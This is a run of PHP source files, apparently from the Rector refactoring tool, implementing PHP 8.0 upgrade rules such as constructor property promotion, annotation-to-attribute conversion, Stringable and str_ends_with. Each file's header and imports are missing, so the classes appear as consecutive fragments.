$case->cond; } foreach ($newSwitch->cases as $key => $case) { if ($case->stmts === []) { continue; } $expr = $case->stmts[0]; if ($expr instanceof Expression) { $expr = $expr->expr; } $condExprs = []; if ($case->cond instanceof Expr) { $emptyCasesCond = []; foreach ($collectionEmptyCasesCond as $i => $collectionEmptyCaseCond) { if ($i > $key) { break; } $emptyCasesCond[$i] = $collectionEmptyCaseCond; unset($collectionEmptyCasesCond[$i]); } $condExprs = $emptyCasesCond; $condExprs[] = $case->cond; } if ($expr instanceof Return_) { $returnedExpr = $expr->expr; if (!$returnedExpr instanceof Expr) { return []; } $condAndExpr[] = new CondAndExpr($condExprs, $returnedExpr, MatchKind::RETURN); } elseif ($expr instanceof Assign) { $condAndExpr[] = new CondAndExpr($condExprs, $expr, MatchKind::ASSIGN); } elseif ($expr instanceof Expr) { $condAndExpr[] = new CondAndExpr($condExprs, $expr, MatchKind::NORMAL); } elseif ($expr instanceof Throw_) { $throwExpr = new Expr\Throw_($expr->expr); $condAndExpr[] = new CondAndExpr($condExprs, $throwExpr, MatchKind::THROW); } else { return []; } } return $condAndExpr; } private function moveDefaultCaseToLast(Switch_ $switch) : void { foreach ($switch->cases as $key => $case) { if ($case->cond instanceof Expr) { continue; } // not has next? default is at the end, no need move if (!isset($switch->cases[$key + 1])) { return; } // current default has no stmt? keep as is as rely to next case if ($case->stmts === []) { return; } for ($loop = $key - 1; $loop >= 0; --$loop) { if ($switch->cases[$loop]->stmts !== []) { break; } unset($switch->cases[$loop]); } $caseToMove = $switch->cases[$key]; unset($switch->cases[$key]); $switch->cases[] = $caseToMove; break; } } private function isValidCase(Case_ $case) : bool { // prepend to previous one if ($case->stmts === []) { return \true; } if (\count($case->stmts) === 2 && $case->stmts[1] instanceof Break_) { return \true; } // default throws stmts if (\count($case->stmts) !== 1) { return \false; } // throws expressoin if ($case->stmts[0] instanceof Throw_) { return \true; } // instant return if ($case->stmts[0] instanceof Return_) { return \true; } // default value return !$case->cond instanceof Expr; } private function areCasesValid(Switch_ $newSwitch) : bool { foreach ($newSwitch->cases as $case) { if (!$this->isValidCase($case)) { return \false; } } return \true; } } stmtsManipulator = $stmtsManipulator; $this->betterNodeFinder = $betterNodeFinder; $this->exprUsedInNodeAnalyzer = $exprUsedInNodeAnalyzer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Remove unused variable in catch()', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { public function run() { try { } catch (Throwable $notUsedThrowable) { } } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { public function run() { try { } catch (Throwable) { } } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [StmtsAwareInterface::class]; } /** * @param StmtsAwareInterface $node */ public function refactor(Node $node) : ?Node { if ($node->stmts === null) { return null; } $hasChanged = \false; foreach ($node->stmts as $key => $stmt) { if (!$stmt instanceof TryCatch) { continue; } foreach ($stmt->catches as $catch) { $caughtVar = $catch->var; if (!$caughtVar instanceof Variable) { continue; } /** @var string $variableName */ $variableName = $this->getName($caughtVar); $isFoundInCatchStmts = (bool) $this->betterNodeFinder->findFirst($catch->stmts, function (Node $subNode) use($caughtVar) : bool { return $this->exprUsedInNodeAnalyzer->isUsed($subNode, $caughtVar); }); if ($isFoundInCatchStmts) { continue; } if ($this->stmtsManipulator->isVariableUsedInNextStmt($node, $key + 1, $variableName)) { continue; } $catch->var = null; $hasChanged = \true; } } if ($hasChanged) { return $node; } return null; } public function provideMinPhpVersion() : int { return PhpVersionFeature::NON_CAPTURING_CATCH; } } > */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { $className = $node->isFinal() ? 'self' : 'static'; $hasChanged = \false; $this->traverseNodesWithCallable($node, function (Node $node) use(&$hasChanged, $className) : ?ClassConstFetch { if (!$node instanceof ClassConstFetch) { return null; } if ($this->shouldSkip($node)) { return null; } $node->class = new Name($className); $hasChanged = \true; return $node; }); if ($hasChanged) { return $node; } return null; } public function provideMinPhpVersion() : int { return PhpVersionFeature::CLASS_ON_OBJECT; } private function shouldSkip(ClassConstFetch $classConstFetch) : bool { if (!$classConstFetch->class instanceof Variable) { return \true; } if (!\is_string($classConstFetch->class->name)) { return \true; } if (!$this->isName($classConstFetch->class, 'this')) { return \true; } if (!$classConstFetch->name instanceof Identifier) { return \true; } return !$this->isName($classConstFetch->name, 'class'); } } parentClassMethodTypeOverrideGuard = $parentClassMethodTypeOverrideGuard; $this->astResolver = $astResolver; $this->betterStandardPrinter = $betterStandardPrinter; $this->betterNodeFinder = $betterNodeFinder; $this->reflectionResolver = $reflectionResolver; } public function provideMinPhpVersion() : int { return PhpVersionFeature::FATAL_ERROR_ON_INCOMPATIBLE_METHOD_SIGNATURE; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add missing parameter based on parent class method', [new CodeSample(<<<'CODE_SAMPLE' class A { public function execute($foo) { } } class B extends A{ public function execute() { } } CODE_SAMPLE , <<<'CODE_SAMPLE' class A { public function execute($foo) { } } class B extends A{ public function execute($foo) { } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class]; } /** * @param ClassMethod $node */ public function refactor(Node $node) : ?Node { if ($this->nodeNameResolver->isName($node, MethodName::CONSTRUCT)) { return null; } $parentMethodReflection = $this->parentClassMethodTypeOverrideGuard->getParentClassMethod($node); if (!$parentMethodReflection instanceof MethodReflection) { return null; } if ($parentMethodReflection->isPrivate()) { return null; } $currentClassReflection = $this->reflectionResolver->resolveClassReflection($node); $isPDO = $currentClassReflection instanceof ClassReflection && $currentClassReflection->isSubclassOf('PDO'); // It relies on phpstorm stubs that define 2 kind of query method for both php 7.4 and php 8.0 // @see https://github.com/JetBrains/phpstorm-stubs/blob/e2e898a29929d2f520fe95bdb2109d8fa895ba4a/PDO/PDO.php#L1096-L1126 if ($isPDO && $parentMethodReflection->getName() === 'query') { return null; } $parentClassMethod = $this->astResolver->resolveClassMethodFromMethodReflection($parentMethodReflection); if (!$parentClassMethod instanceof ClassMethod) { return null; } $currentClassMethodParams = $node->getParams(); $parentClassMethodParams = $parentClassMethod->getParams(); $countCurrentClassMethodParams = \count($currentClassMethodParams); $countParentClassMethodParams = \count($parentClassMethodParams); if ($countCurrentClassMethodParams === $countParentClassMethodParams) { return null; } if ($countCurrentClassMethodParams < $countParentClassMethodParams) { return $this->processReplaceClassMethodParams($node, $parentClassMethod, $currentClassMethodParams, $parentClassMethodParams); } return $this->processAddNullDefaultParam($node, $currentClassMethodParams, $parentClassMethodParams); } /** * @param Param[] $currentClassMethodParams * @param Param[] $parentClassMethodParams */ private function processAddNullDefaultParam(ClassMethod $classMethod, array $currentClassMethodParams, array $parentClassMethodParams) : ?ClassMethod { $hasChanged = \false; foreach ($currentClassMethodParams as $key => $currentClassMethodParam) { if (isset($parentClassMethodParams[$key])) { continue; } if ($currentClassMethodParam->default instanceof Expr) { continue; } if ($currentClassMethodParam->variadic) { continue; } $currentClassMethodParams[$key]->default = $this->nodeFactory->createNull(); $hasChanged = \true; } if (!$hasChanged) { return null; } return $classMethod; } /** * @param array $currentClassMethodParams * @param array $parentClassMethodParams */ private function processReplaceClassMethodParams(ClassMethod $node, ClassMethod $parentClassMethod, array $currentClassMethodParams, array $parentClassMethodParams) : ?ClassMethod { $originalParams = $node->params; foreach ($parentClassMethodParams as $key => $parentClassMethodParam) { if (isset($currentClassMethodParams[$key])) { $currentParamName = $this->nodeNameResolver->getName($currentClassMethodParams[$key]); $collectParamNamesNextKey = $this->collectParamNamesNextKey($parentClassMethod, $key); if (\in_array($currentParamName, $collectParamNamesNextKey, \true)) { $node->params = $originalParams; return null; } continue; } $isUsedInStmts = (bool) $this->betterNodeFinder->findFirstInFunctionLikeScoped($node, function (Node $subNode) use($parentClassMethodParam) : bool { if (!$subNode instanceof Variable) { return \false; } return $this->nodeComparator->areNodesEqual($subNode, $parentClassMethodParam->var); }); if ($isUsedInStmts) { $node->params = $originalParams; return null; } $paramDefault = $parentClassMethodParam->default; if ($paramDefault instanceof Expr) { $paramDefault = $this->nodeFactory->createReprintedNode($paramDefault); } $paramName = $this->nodeNameResolver->getName($parentClassMethodParam); $paramType = $this->resolveParamType($parentClassMethodParam); $node->params[$key] = new Param(new Variable($paramName), $paramDefault, $paramType, $parentClassMethodParam->byRef, $parentClassMethodParam->variadic, [], $parentClassMethodParam->flags); if ($parentClassMethodParam->attrGroups !== []) { $attrGroupsAsComment = $this->betterStandardPrinter->print($parentClassMethodParam->attrGroups); $node->params[$key]->setAttribute(AttributeKey::COMMENTS, [new Comment($attrGroupsAsComment)]); } } return $node; } /** * @return null|\PhpParser\Node\Identifier|\PhpParser\Node\Name|\PhpParser\Node\ComplexType */ private function resolveParamType(Param $param) { if ($param->type === null) { return null; } return $this->nodeFactory->createReprintedNode($param->type); } /** * @return string[] */ private function collectParamNamesNextKey(ClassMethod $classMethod, int $key) : array { $paramNames = []; foreach ($classMethod->params as $paramKey => $param) { if ($paramKey > $key) { $paramNames[] = $this->nodeNameResolver->getName($param); } } return $paramNames; } } visibilityManipulator = $visibilityManipulator; } public function provideMinPhpVersion() : int { return PhpVersionFeature::NO_FINAL_PRIVATE; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Changes method visibility from final private to only private', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { final private function getter() { return $this; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { private function getter() { return $this; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class]; } /** * @param ClassMethod $node */ public function refactor(Node $node) : ?Node { if ($this->shouldSkip($node)) { return null; } $this->visibilityManipulator->makeNonFinal($node); return $node; } private function shouldSkip(ClassMethod $classMethod) : bool { if (!$classMethod->isFinal()) { return \true; } if ($classMethod->name->toString() === MethodName::CONSTRUCT) { return \true; } return !$classMethod->isPrivate(); } } visibilityManipulator = $visibilityManipulator; } public function provideMinPhpVersion() : int { return PhpVersionFeature::STATIC_VISIBILITY_SET_STATE; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Adds static visibility to __set_state() methods', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function __set_state($properties) { } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public static function __set_state($properties) { } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class]; } /** * @param ClassMethod $node */ public function refactor(Node $node) : ?Node { if ($this->shouldSkip($node)) { return null; } $this->visibilityManipulator->makeStatic($node); return $node; } private function shouldSkip(ClassMethod $classMethod) : bool { if (!$this->isName($classMethod, MethodName::SET_STATE)) { return \true; } return $classMethod->isStatic(); } } phpAttributeGroupFactory = $phpAttributeGroupFactory; $this->attrGroupsFactory = $attrGroupsFactory; $this->phpDocTagRemover = $phpDocTagRemover; $this->attributeGroupNamedArgumentManipulator = $attributeGroupNamedArgumentManipulator; $this->useImportsResolver = $useImportsResolver; $this->phpAttributeAnalyzer = $phpAttributeAnalyzer; $this->docBlockUpdater = $docBlockUpdater; $this->phpDocInfoFactory = $phpDocInfoFactory; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change annotation to attribute', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' use Symfony\Component\Routing\Annotation\Route; class SymfonyRoute { /** * @Route("/path", name="action") api route */ public function action() { } } CODE_SAMPLE , <<<'CODE_SAMPLE' use Symfony\Component\Routing\Annotation\Route; class SymfonyRoute { #[Route(path: '/path', name: 'action')] // api route public function action() { } } CODE_SAMPLE , [new AnnotationToAttribute('Symfony\\Component\\Routing\\Annotation\\Route')])]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class, Property::class, Param::class, ClassMethod::class, Function_::class, Closure::class, ArrowFunction::class, Interface_::class]; } /** * @param Class_|Property|Param|ClassMethod|Function_|Closure|ArrowFunction|Interface_ $node */ public function refactor(Node $node) : ?Node { if ($this->annotationsToAttributes === []) { throw new InvalidConfigurationException(\sprintf('The "%s" rule requires configuration.', self::class)); } $phpDocInfo = $this->phpDocInfoFactory->createFromNode($node); if (!$phpDocInfo instanceof PhpDocInfo) { return null; } $uses = $this->useImportsResolver->resolveBareUses(); // 1. bare tags without annotation class, e.g. "@require" $genericAttributeGroups = $this->processGenericTags($phpDocInfo); // 2. Doctrine annotation classes $annotationAttributeGroups = $this->processDoctrineAnnotationClasses($phpDocInfo, $uses); $attributeGroups = \array_merge($genericAttributeGroups, $annotationAttributeGroups); if ($attributeGroups === []) { return null; } // 3. Reprint docblock $this->docBlockUpdater->updateRefactoredNodeWithPhpDocInfo($node); $this->attributeGroupNamedArgumentManipulator->decorate($attributeGroups); $node->attrGroups = \array_merge($node->attrGroups, $attributeGroups); return $node; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsAOf($configuration, AnnotationToAttribute::class); $this->annotationsToAttributes = $configuration; } public function provideMinPhpVersion() : int { return PhpVersionFeature::ATTRIBUTES; } /** * @return AttributeGroup[] */ private function processGenericTags(PhpDocInfo $phpDocInfo) : array { $attributeGroups = []; $phpDocNodeTraverser = new PhpDocNodeTraverser(); $phpDocNodeTraverser->traverseWithCallable($phpDocInfo->getPhpDocNode(), '', function (DocNode $docNode) use(&$attributeGroups) : ?int { if (!$docNode instanceof PhpDocTagNode) { return null; } if (!$docNode->value instanceof GenericTagValueNode) { return null; } $tag = \trim($docNode->name, '@'); // not a basic one if (\strpos($tag, '\\') !== \false) { return null; } foreach ($this->annotationsToAttributes as $annotationToAttribute) { $desiredTag = $annotationToAttribute->getTag(); if ($desiredTag !== $tag) { continue; } $attributeGroups[] = $this->phpAttributeGroupFactory->createFromSimpleTag($annotationToAttribute); return PhpDocNodeTraverser::NODE_REMOVE; } return null; }); return $attributeGroups; } /** * @param Use_[] $uses * @return AttributeGroup[] */ private function processDoctrineAnnotationClasses(PhpDocInfo $phpDocInfo, array $uses) : array { if ($phpDocInfo->getPhpDocNode()->children === []) { return []; } $doctrineTagAndAnnotationToAttributes = []; $doctrineTagValueNodes = []; foreach ($phpDocInfo->getPhpDocNode()->children as $phpDocChildNode) { if (!$phpDocChildNode instanceof PhpDocTagNode) { continue; } if (!$phpDocChildNode->value instanceof DoctrineAnnotationTagValueNode) { continue; } $doctrineTagValueNode = $phpDocChildNode->value; $annotationToAttribute = $this->matchAnnotationToAttribute($doctrineTagValueNode); if (!$annotationToAttribute instanceof AnnotationToAttribute) { continue; } $doctrineTagAndAnnotationToAttributes[] = new DoctrineTagAndAnnotationToAttribute($doctrineTagValueNode, $annotationToAttribute); $doctrineTagValueNodes[] = $doctrineTagValueNode; } $attributeGroups = $this->attrGroupsFactory->create($doctrineTagAndAnnotationToAttributes, $uses); if ($this->phpAttributeAnalyzer->hasRemoveArrayState($attributeGroups)) { return []; } foreach ($doctrineTagValueNodes as $doctrineTagValueNode) { $this->phpDocTagRemover->removeTagValueFromNode($phpDocInfo, $doctrineTagValueNode); } return $attributeGroups; } private function matchAnnotationToAttribute(DoctrineAnnotationTagValueNode $doctrineAnnotationTagValueNode) : ?\Rector\Php80\ValueObject\AnnotationToAttribute { foreach ($this->annotationsToAttributes as $annotationToAttribute) { if (!$doctrineAnnotationTagValueNode->hasClassName($annotationToAttribute->getTag())) { continue; } return $annotationToAttribute; } return null; } } promotedPropertyCandidateResolver = $promotedPropertyCandidateResolver; $this->variableRenamer = $variableRenamer; $this->paramAnalyzer = $paramAnalyzer; $this->propertyPromotionDocBlockMerger = $propertyPromotionDocBlockMerger; $this->makePropertyPromotionGuard = $makePropertyPromotionGuard; $this->typeComparator = $typeComparator; $this->reflectionResolver = $reflectionResolver; $this->propertyPromotionRenamer = $propertyPromotionRenamer; $this->phpDocInfoFactory = $phpDocInfoFactory; $this->staticTypeMapper = $staticTypeMapper; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change simple property init and assign to constructor promotion', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' class SomeClass { public float $price; public function __construct( float $price = 0.0 ) { $this->price = $price; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function __construct( public float $price = 0.0 ) { } } CODE_SAMPLE , [self::INLINE_PUBLIC => \false, self::RENAME_PROPERTY => \true])]); } public function configure(array $configuration) : void { $this->inlinePublic = $configuration[self::INLINE_PUBLIC] ?? \false; $this->renameProperty = $configuration[self::RENAME_PROPERTY] ?? \true; } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { $constructClassMethod = $node->getMethod(MethodName::CONSTRUCT); if (!$constructClassMethod instanceof ClassMethod) { return null; } $promotionCandidates = $this->promotedPropertyCandidateResolver->resolveFromClass($node, $constructClassMethod); if ($promotionCandidates === []) { return null; } $constructorPhpDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($constructClassMethod); $classReflection = $this->reflectionResolver->resolveClassReflection($node); if (!$classReflection instanceof ClassReflection) { return null; } foreach ($promotionCandidates as $promotionCandidate) { $param = $promotionCandidate->getParam(); if ($this->shouldSkipParam($param)) { continue; } $property = $promotionCandidate->getProperty(); if (!$this->makePropertyPromotionGuard->isLegal($node, $classReflection, $property, $param, $this->inlinePublic)) { continue; } $paramName = $this->getName($param); // rename also following calls $propertyName = $this->getName($property->props[0]); if (!$this->renameProperty && $paramName !== $propertyName) { continue; } // remove property from class $propertyStmtKey = $property->getAttribute(AttributeKey::STMT_KEY); unset($node->stmts[$propertyStmtKey]); // remove assign in constructor $assignStmtPosition = $promotionCandidate->getStmtPosition(); unset($constructClassMethod->stmts[$assignStmtPosition]); /** @var string $oldName */ $oldName = $this->getName($param->var); $this->variableRenamer->renameVariableInFunctionLike($constructClassMethod, $oldName, $propertyName, null); $paramTagValueNode = $constructorPhpDocInfo->getParamTagValueByName($paramName); if (!$paramTagValueNode instanceof ParamTagValueNode) { $this->propertyPromotionDocBlockMerger->decorateParamWithPropertyPhpDocInfo($constructClassMethod, $property, $param, $paramName); } elseif ($paramTagValueNode->parameterName !== '$' . $propertyName) { $this->propertyPromotionRenamer->renameParamDoc($constructorPhpDocInfo, $constructClassMethod, $param, $paramTagValueNode->parameterName, $propertyName); } // property name has higher priority $paramName = $this->getName($property); $param->var = new Variable($paramName); $param->flags = $property->flags; // copy attributes of the old property $param->attrGroups = \array_merge($param->attrGroups, $property->attrGroups); $this->processUnionType($property, $param); $this->propertyPromotionDocBlockMerger->mergePropertyAndParamDocBlocks($property, $param, $paramTagValueNode); // update variable to property fetch references $this->traverseNodesWithCallable((array) $constructClassMethod->stmts, function (Node $node) use($promotionCandidate, $propertyName) : ?PropertyFetch { if (!$node instanceof Variable) { return null; } if (!$this->isName($node, $promotionCandidate->getParamName())) { return null; } return new PropertyFetch(new Variable('this'), $propertyName); }); } return $node; } public function provideMinPhpVersion() : int { return PhpVersionFeature::PROPERTY_PROMOTION; } private function processUnionType(Property $property, Param $param) : void { if ($property->type instanceof Node) { $param->type = $property->type; return; } if (!$param->default instanceof Expr) { return; } if (!$param->type instanceof Node) { return; } $defaultType = $this->getType($param->default); $paramType = $this->getType($param->type); if ($this->typeComparator->isSubtype($defaultType, $paramType)) { return; } if ($this->typeComparator->areTypesEqual($defaultType, $paramType)) { return; } if ($paramType instanceof MixedType) { return; } $paramType = TypeCombinator::union($paramType, $defaultType); $param->type = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($paramType, TypeKind::PARAM); } private function shouldSkipParam(Param $param) : bool { if ($param->variadic) { return \true; } if ($this->paramAnalyzer->isNullable($param)) { /** @var NullableType $type */ $type = $param->type; $type = $type->type; } else { $type = $param->type; } if ($this->isCallableTypeIdentifier($type)) { return \true; } if (!$type instanceof UnionType) { return \false; } foreach ($type->types as $type) { if ($this->isCallableTypeIdentifier($type)) { return \true; } } return \false; } private function isCallableTypeIdentifier(?Node $node) : bool { return $node instanceof Identifier && $this->isName($node, 'callable'); } } familyRelationsAnalyzer = $familyRelationsAnalyzer; $this->returnTypeInferer = $returnTypeInferer; $this->classAnalyzer = $classAnalyzer; $this->betterNodeFinder = $betterNodeFinder; } public function provideMinPhpVersion() : int { return PhpVersionFeature::STRINGABLE; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add `Stringable` interface to classes with `__toString()` method', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function __toString() { return 'I can stringz'; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass implements Stringable { public function __toString(): string { return 'I can stringz'; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { if ($this->classAnalyzer->isAnonymousClass($node)) { return null; } $toStringClassMethod = $node->getMethod(MethodName::TO_STRING); if (!$toStringClassMethod instanceof ClassMethod) { return null; } $this->hasChanged = \false; // warning, classes that implements __toString() will return Stringable interface even if they don't implemen it // reflection cannot be used for real detection $classLikeAncestorNames = $this->familyRelationsAnalyzer->getClassLikeAncestorNames($node); $isAncestorHasStringable = \in_array(self::STRINGABLE, $classLikeAncestorNames, \true); $returnType = $this->returnTypeInferer->inferFunctionLike($toStringClassMethod); if (!$returnType->isString()->yes()) { $this->processNotStringType($toStringClassMethod); } if (!$isAncestorHasStringable) { // add interface $node->implements[] = new FullyQualified(self::STRINGABLE); $this->hasChanged = \true; } // add return type if ($toStringClassMethod->returnType === null) { $toStringClassMethod->returnType = new Identifier('string'); $this->hasChanged = \true; } if (!$this->hasChanged) { return null; } return $node; } private function processNotStringType(ClassMethod $toStringClassMethod) : void { if ($toStringClassMethod->isAbstract()) { return; } $hasReturn = $this->betterNodeFinder->hasInstancesOfInFunctionLikeScoped($toStringClassMethod, Return_::class); if (!$hasReturn) { $emptyStringReturn = new Return_(new String_('')); $toStringClassMethod->stmts[] = $emptyStringReturn; $this->hasChanged = \true; return; } $this->traverseNodesWithCallable((array) $toStringClassMethod->stmts, function (Node $subNode) : ?int { if ($subNode instanceof Class_ || $subNode instanceof Function_ || $subNode instanceof Closure) { return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } if (!$subNode instanceof Return_) { return null; } if (!$subNode->expr instanceof Expr) { $subNode->expr = new String_(''); return null; } $type = $this->nodeTypeResolver->getType($subNode->expr); if ($type->isString()->yes()) { return null; } $subNode->expr = new CastString_($subNode->expr); $this->hasChanged = \true; return null; }); } } > */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { if (!$this->nodeNameResolver->isName($node, 'get_class')) { return null; } if ($node->isFirstClassCallable()) { return null; } if (!isset($node->getArgs()[0])) { return new ClassConstFetch(new Name('self'), 'class'); } $object = $node->getArgs()[0]->value; return new ClassConstFetch($object, 'class'); } public function provideMinPhpVersion() : int { return PhpVersionFeature::CLASS_ON_OBJECT; } } reflectionResolver = $reflectionResolver; $this->classChildAnalyzer = $classChildAnalyzer; $this->paramTagRemover = $paramTagRemover; $this->phpDocInfoFactory = $phpDocInfoFactory; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change mixed docs type to mixed typed', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { /** * @param mixed $param */ public function run($param) { } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run(mixed $param) { } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class, Function_::class, Closure::class, ArrowFunction::class]; } /** * @param ClassMethod|Function_|Closure|ArrowFunction $node */ public function refactor(Node $node) : ?Node { if ($node instanceof ClassMethod && $this->shouldSkipClassMethod($node)) { return null; } $this->hasChanged = \false; $phpDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($node); $this->refactorParamTypes($node, $phpDocInfo); $hasChanged = $this->paramTagRemover->removeParamTagsIfUseless($phpDocInfo, $node, new MixedType()); if ($this->hasChanged) { return $node; } if ($hasChanged) { return $node; } return null; } public function provideMinPhpVersion() : int { return PhpVersionFeature::MIXED_TYPE; } private function shouldSkipClassMethod(ClassMethod $classMethod) : bool { $classReflection = $this->reflectionResolver->resolveClassReflection($classMethod); if (!$classReflection instanceof ClassReflection) { return \false; } $methodName = $this->nodeNameResolver->getName($classMethod); return $this->classChildAnalyzer->hasParentClassMethod($classReflection, $methodName); } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure|\PhpParser\Node\Expr\ArrowFunction $functionLike */ private function refactorParamTypes($functionLike, PhpDocInfo $phpDocInfo) : void { foreach ($functionLike->params as $param) { if ($param->type instanceof Node) { continue; } $paramName = (string) $this->getName($param->var); $paramTagValue = $phpDocInfo->getParamTagValueByName($paramName); if (!$paramTagValue instanceof ParamTagValueNode) { continue; } $paramType = $phpDocInfo->getParamType($paramName); if (!$paramType instanceof MixedType) { continue; } $this->hasChanged = \true; $param->type = new Identifier('mixed'); if ($param->flags !== 0) { $param->setAttribute(AttributeKey::ORIGINAL_NODE, null); } } } } binaryOpAnalyzer = $binaryOpAnalyzer; $this->valueResolver = $valueResolver; } public function provideMinPhpVersion() : int { return PhpVersionFeature::STR_ENDS_WITH; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change helper functions to str_ends_with()', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { $isMatch = substr($haystack, -strlen($needle)) === $needle; $isNotMatch = substr($haystack, -strlen($needle)) !== $needle; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { $isMatch = str_ends_with($haystack, $needle); $isNotMatch = !str_ends_with($haystack, $needle); } } CODE_SAMPLE ), new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { $isMatch = substr($haystack, -9) === 'hardcoded; $isNotMatch = substr($haystack, -9) !== 'hardcoded'; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { $isMatch = str_ends_with($haystack, 'hardcoded'); $isNotMatch = !str_ends_with($haystack, 'hardcoded'); } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Identical::class, NotIdentical::class, Equal::class, NotEqual::class]; } /** * @param Identical|NotIdentical|Equal|NotEqual $node */ public function refactor(Node $node) : ?Node { return $this->refactorSubstr($node) ?? $this->refactorSubstrCompare($node); } public function providePolyfillPackage() : string { return PolyfillPackage::PHP_80; } /** * Covers: * $isMatch = substr($haystack, -strlen($needle)) === $needle; * $isMatch = 'needle' === substr($haystack, -6) * @return \PhpParser\Node\Expr\FuncCall|\PhpParser\Node\Expr\BooleanNot|null */ private function refactorSubstr(BinaryOp $binaryOp) { if ($binaryOp->left instanceof FuncCall && $this->isName($binaryOp->left, 'substr')) { $substrFuncCall = $binaryOp->left; $comparedNeedleExpr = $binaryOp->right; } elseif ($binaryOp->right instanceof FuncCall && $this->isName($binaryOp->right, 'substr')) { $substrFuncCall = $binaryOp->right; $comparedNeedleExpr = $binaryOp->left; } else { return null; } if ($substrFuncCall->isFirstClassCallable()) { return null; } if (\count($substrFuncCall->getArgs()) < 2) { return null; } $needle = $substrFuncCall->getArgs()[1]->value; if (!$this->isUnaryMinusStrlenFuncCallArgValue($needle, $comparedNeedleExpr) && !$this->isHardCodedLNumberAndString($needle, $comparedNeedleExpr)) { return null; } $haystack = $substrFuncCall->getArgs()[0]->value; $isPositive = $binaryOp instanceof Identical || $binaryOp instanceof Equal; return $this->buildReturnNode($haystack, $comparedNeedleExpr, $isPositive); } /** * @return \PhpParser\Node\Expr\FuncCall|\PhpParser\Node\Expr\BooleanNot|null */ private function refactorSubstrCompare(BinaryOp $binaryOp) { $funcCallAndExpr = $this->binaryOpAnalyzer->matchFuncCallAndOtherExpr($binaryOp, 'substr_compare'); if (!$funcCallAndExpr instanceof FuncCallAndExpr) { return null; } $expr = $funcCallAndExpr->getExpr(); if (!$this->valueResolver->isValue($expr, 0)) { return null; } $substrCompareFuncCall = $funcCallAndExpr->getFuncCall(); $args = $substrCompareFuncCall->getArgs(); if (\count($args) < 2) { return null; } $haystack = $args[0]->value; $needle = $args[1]->value; $thirdArgValue = $args[2]->value; $isCaseInsensitiveValue = isset($args[4]) ? $this->valueResolver->getValue($args[4]->value) : null; // is case insensitive → not valid replacement if ($isCaseInsensitiveValue === \true) { return null; } if (!$this->isUnaryMinusStrlenFuncCallArgValue($thirdArgValue, $needle) && !$this->isHardCodedLNumberAndString($thirdArgValue, $needle)) { return null; } $isPositive = $binaryOp instanceof Identical || $binaryOp instanceof Equal; return $this->buildReturnNode($haystack, $needle, $isPositive); } private function isUnaryMinusStrlenFuncCallArgValue(Expr $substrOffset, Expr $needle) : bool { if (!$substrOffset instanceof UnaryMinus) { return \false; } if (!$substrOffset->expr instanceof FuncCall) { return \false; } $funcCall = $substrOffset->expr; if (!$this->nodeNameResolver->isName($funcCall, 'strlen')) { return \false; } if (!isset($funcCall->getArgs()[0])) { return \false; } if (!$funcCall->args[0] instanceof Arg) { return \false; } return $this->nodeComparator->areNodesEqual($funcCall->args[0]->value, $needle); } private function isHardCodedLNumberAndString(Expr $substrOffset, Expr $needle) : bool { if (!$substrOffset instanceof UnaryMinus) { return \false; } if (!$substrOffset->expr instanceof LNumber) { return \false; } $lNumber = $substrOffset->expr; if (!$needle instanceof String_) { return \false; } return $lNumber->value === \strlen($needle->value); } /** * @return \PhpParser\Node\Expr\FuncCall|\PhpParser\Node\Expr\BooleanNot */ private function buildReturnNode(Expr $haystack, Expr $needle, bool $isPositive) { $funcCall = $this->nodeFactory->createFuncCall('str_ends_with', [$haystack, $needle]); if (!$isPositive) { return new BooleanNot($funcCall); } return $funcCall; } } strStartWithMatchAndRefactors = 